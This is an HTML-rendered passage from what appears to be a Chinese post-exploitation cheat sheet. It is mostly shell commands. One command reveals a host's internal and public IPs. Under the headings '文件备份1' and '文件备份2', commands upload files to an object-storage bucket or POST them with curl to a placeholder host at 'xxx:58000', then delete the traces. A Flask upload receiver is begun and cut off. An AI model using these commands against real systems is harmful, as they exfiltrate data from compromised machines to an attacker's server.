!important;">(){</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  echo </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">e </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\e[32m[+] 内网:\e[0m&#34;</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  ifconfig</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">grep </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;inet &#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">awk </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">F </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39; &#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;{print $2}&#39;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  echo </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">e </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\n\e[31m[+] 公网:\e[0m&#34;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  curl cip</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cc </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">s </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> tr </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">s </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;\n&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;\n&#39;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ip</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">文件备份1</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cd </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tmp</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">wget https</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="color: rgb(153, 153, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">//gosspublic.alicdn.com/ossutil/1.7.13/ossutil64 -O hulk</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">chmod </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">x hulk</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">echo </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;你的配置&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">base64 </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">d </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/tmp/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">hulk</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">./</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">hulk </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tmp</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">hulk cp </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">hulk</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">zip oss</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="color: rgb(153, 153, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">//xxxx/hulk.zip</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">rm </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">rf </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tmp</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">hulk</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">文件备份2</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">curl <a href="http://xxx:58000/upload" target="_blank">http://xxx:58000/upload</a> -X POST -F &#39;file=@/tmp/pods&#39;</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">➜</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">~</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cat upload</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">py</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">from</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> flask </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">import</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Flask</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> request</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">app </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Flask</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">__name__</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">@app</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">route</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;/upload&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> methods</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=[</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;POST&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">])</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">def</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> upload</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">():</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    file </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> request</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">files</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;file&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;..&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">in</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> file</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">filename</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;fuck u&#39;</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">else</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        file</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">save</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">file</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: 